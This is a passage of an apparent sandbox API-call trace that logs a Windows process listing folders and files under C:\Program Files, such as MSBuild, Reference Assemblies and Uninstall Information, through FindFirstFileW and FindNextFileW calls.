ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0145.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.729] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.729] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0145.729] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.729] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0145.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.729] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.729] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0145.729] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.730] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0145.730] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.730] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0145.730] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.730] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0145.730] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.730] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0145.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.730] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.730] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0145.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.731] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.731] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0145.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.731] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.731] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0145.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.731] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.731] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0145.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.732] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.732] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0145.733] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.733] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0145.734] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.734] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0145.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.734] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.734] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0145.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.734] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.734] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0145.735] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.735] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0145.736] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.736] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0145.736] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.736] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0145.736] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.737] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0145.737] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.737] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0145.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.737] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.737] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0145.737] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.737] FindNextFileW 